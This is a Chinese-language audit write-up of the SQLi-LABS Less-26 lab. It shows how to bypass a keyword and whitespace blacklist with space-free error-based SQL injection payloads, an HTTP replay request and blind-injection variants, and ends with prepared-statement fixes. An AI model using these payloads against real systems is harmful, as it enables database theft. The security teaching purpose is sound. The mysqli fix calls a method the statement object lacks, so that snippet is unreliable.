sqli-labs-Less-26-代码审计报告

15次阅读
没有评论

Less-26 审计报告:多关键字黑名单绕过(报错型,空格被过滤)

1. 关卡概述

项目 内容
关卡名称 Less-26 Trick with comments
源码路径 Less-26/index.php
漏洞类型 SQL 注入 – 报错型(黑名单过滤 or/and/注释/空格/斜杠,无空格 payload 绕过)
注入点参数 GET /Less-26/?id=
报错/盲注 报错回显(print_r(mysql_error()))
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-26/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:交给黑名单函数
$id= blacklist($id);

// 第 34 行:过滤后的值拼入 SQL(单引号包裹)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 35 行:执行
$result=mysql_query($sql);

// 第 48 行:出错回显
print_r(mysql_error());

// 第 57~67 行:黑名单 —— or/and/注释符/空白符/斜杠全删
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);			//strip out OR
    $id= preg_replace('/and/i',"", $id);		//Strip out AND
    $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    $id= preg_replace('/[--]/',"", $id);		//Strip out --
    $id= preg_replace('/[#]/',"", $id);			//Strip out #
    $id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
    return $id;
}

3. 漏洞分析

  • 过滤机制:
    • 删除 or/and(大小写不敏感);
    • 删除注释符 /*、--、#;
    • 删除 \s(包括空格、Tab、换行、垂直制表符等所有空白);
    • 删除斜杠 /、反斜杠 \。
  • 关键结论(经实际代码确认):preg_replace('/[\s]/',"", $id) 中的 \s 在 PCRE 中匹配 [ \t\n\r\f\v],因此 %0a(换行)、%09(Tab)、%0b(垂直制表符)在 URL 解码后同样会被删除。用它们"替代空格"并不能保留空白——它们被删后 payload 依旧成立,只是因为下面的表达式本来就不需要空格。
  • 闭合方式:WHERE id='$id',注入 ' 闭合后,用 || 替代被过滤的 or,用括号/运算符天然分隔避开空格需求,末尾用 ||'1 让模板尾部的 ' 落在字符串字面量内。
  • 是否回显:第 48 行报错回显,可用 extractvalue/updatexml 报错注入。

4. 利用方式

步骤一:确认空格被过滤

?id=1' and 1-- - → and 被删、空格被删、-- 被删,必然语法错误;但 ?id=1'||1||'1 可正常返回 → 无空格 + || 可行。

步骤二:报错注入(核心 payload,全程无空格、无 or/and、无注释符)

1'||extractvalue(1,concat(0x7e,database()))||'1

过滤函数逐个检查:无 or/and、无 /*、无 --、无 #、无空白、无斜杠 → 原样通过。拼接后:

SELECT * FROM users WHERE id='1'||extractvalue(1,concat(0x7e,database()))||'1' LIMIT 0,1

预期结果:回显 XPATH syntax error: '~security'。

MySQL 语法说明:'1' 与 || 之间、extractvalue(...) 与 || 之间不需要空格,运算符与括号天然分隔 token,因此该 payload 完全不依赖空白。

步骤三:提取其它数据

1'||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))||'1

注意:子查询中的 from/where/table_name 等若含 or/and 单词需用 ||/&& 或双写改写;本例语句无 or/and 单词,可直接使用。

步骤四:其它无空格思路

  • 布尔/逻辑:1'||(1)||'1
  • 时间盲注(若目标无报错回显):1'||if((database())='security',sleep(5),1)||'1

5. Yakit 重放数据包

GET /sqli-labs/Less-26/?id=1'||extractvalue(1,concat(0x7e,database()))||'1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:'、|、(、) 在原始 HTTP 请求中可直接发送;若工具对 | 敏感,可对 || 做 URL 编码 %7C%7C。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 废弃黑名单——即使过滤了 or/and/空格/注释/斜杠,||、extractvalue、括号等仍可组合出无空格 payload,黑名单在真实攻击面前形同虚设。
  • id 类参数 ctype_digit()/is_numeric() 强校验。
  • 关闭报错回显,移除 print_r(mysql_error())。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
  • 注意:\s 过滤在 PHP 不同版本/PCRE 配置下对 \v 的匹配行为一致(都匹配),本报告按"空白全部被删"分析并给出无需空白的 payload。
正文完
 0